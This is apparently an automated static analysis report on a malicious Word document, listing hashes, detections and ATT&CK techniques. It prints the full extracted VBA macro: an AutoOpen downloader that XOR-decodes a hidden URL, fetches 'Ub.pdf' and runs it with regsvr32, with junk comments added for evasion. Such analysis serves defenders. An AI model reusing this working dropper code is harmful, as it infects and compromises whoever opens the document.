Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0efdedf34d958243…

MALICIOUS

Office (OOXML)

116.3 KB Created: 2020-07-23 08:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 4730a6605569972fbf5c0850ac186a31 SHA-1: 94843e8394638a293abc9bfa2ecc9bacce3b7fbc SHA-256: 0efdedf34d958243edc8255d0a35d78e972b6d57ea109462e8b320be78a16623
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to download a file named 'Ub.pdf' and then execute it using 'WshShell.Run'. This indicates a downloader or droppper functionality, aiming to fetch and run a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal nl As LongPtr, ByVal v1 As String, ByVal LB As String, ByVal W8 As LongPtr, ByVal Fr As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    B0 = i(c4)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4396 bytes
SHA-256: de7489464e978d70ffc90292a53b316f45ccfc866a49b54fb4a3db878d574491
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sw"
Public Const D As String = "Ub.pdf"
Function i(LR)
O5 = hF(LR)
For yY = 0 To UBound(O5)
 KM = KM & Chr(O5(yY) Xor 1)
Next yY
i = KM
End Function
Function hF(LR)
hF = Split(LR, " ")
End Function
Sub autoopen()
B0 = i(c4)

' Larry pen madison before
' Goad shannon pavilion contingency wolf cloudless benighted
' Magnetic cookie
' Stock houston ruff thrifty unmarked
' Earthen bizarre belarus lock
frm.download B0, D

' Abscess anteroom

' Ponds
' Officiating sip vishnu explanation qatar
' Pdt
' Disquiet geo
' Operatic

' Bogus rudiments administrator summary
' Riders natal
' Puss
' Prep earshot

' Rose shared say
' Luxury elderly
' Fundamental acrid insurgent fussy inertia

' Demeter braxton
' Annually restrictions maltreated
' Bilious interactive ethernet
Dim a7 As New WshShell

' Frontal
' Ogre crescendo earldom
' Satchel tag replace
' Viscount
Call a7.run(hn & m & "32 " + D)
End Sub

Attribute VB_Name = "Sw1"
Sub E8()

' Russet cw rs to narcissus robot
' Diesel accessibility knotty punctual
' Infirmity linked citron
' Subsection hemlock ae
' Antigua scheduling breath xenophon benignant upshot
' Janus durban

' Cudgel plumbing recognisable ps.
' Amber debt

' Nominative dozen dally
' Sunbeam disconcert ancestry worship crown
' Autocrat galaxy morrison possibility
' Gad cir
' Grimace disheartened prefatory
' Winsome sunder legs magnetic

' Transfiguration reunion
' Iv limitless extort
' Procreation surge wetting
' Una seem briton epistolary washington

' Discerning ivory
' Clink orbs winning
' Integrating jonah

' Genuine homestead cherubs
' Try tuning sanitation
' Liabilities faster technology interference imperceptible hair

' Cvs cabin repartee
' Covet plasma zen townsman
' Receivers mph hyperbole zero movies

' Intimidate modelling reload whack
' Massive section supposed wolfish
' Trends stifle declined sultry
' Proven addicted moira pard news

' Wifi magnify disappoint ideas
' Showed typhoid chassis base tubular funded
' Warsaw closed hd toe birds
' Pa inception malevolent
' Substance arcade uzbekistan lung

' Distribute
' Illness
' Panegyric contra edwards
' Examinations confronting deterioration
' Minolta patrimony
' Biotechnology machine
' Soc cos brother

' Travel implementing disclaimer tokyo voluptuous
' Coppice fibrous ronald public cherry
' Election youthfulness pt. enforcement
' Sit cobbler
' Dayton hand

' Cosmopolitan shipping bookish
' Cleaving tonight vat
' Translator enterprises beaker trick
' Pessimistic sanskrit panacea
' Startle rut shipping
End Sub

Attribute VB_Name = "MR"
Public Const hn As String = "reg"
Public Const m As String = "svr"
Public Const c4 As String = "105 117 117 113 59 46 46 100 103 98 57 55 101 101 47 98 110 108 46 121 100 108 98 109 46 104 99 96 47 113 105 113 62 109 60 116 111 117 54 47 98 96 99 33"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal nl As LongPtr, ByVal v1 As String, ByVal LB As String, ByVal W8 As LongPtr, ByVal Fr As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal nl As Long, ByVal v1 As String, ByVal LB As String, ByVal W8 As Long, ByVal Fr As Long) As Long
#End If
Function zL()

' Largesse physical individually backgammon batteries biographical
' Leave-taking
' Strasburg regularly fatty obj
' Hedgehog nostril drinking terminating clinic
' Tb bereavement springs

' Homework perfume pollution
' Skim isbn flavor riverside
' Paroxysm
' Atm clinics
' Prostores
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{2A93DF94-F0A3-4D00-BDFB-6E4A34BC28AE}{FA1F2B81-8FF2-4C41-8C6F-A77AEAA7A111}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: 818e7e275b1b361e87b3021292dcfed7489b9bbad230abd00a6a6a6cd8e676ae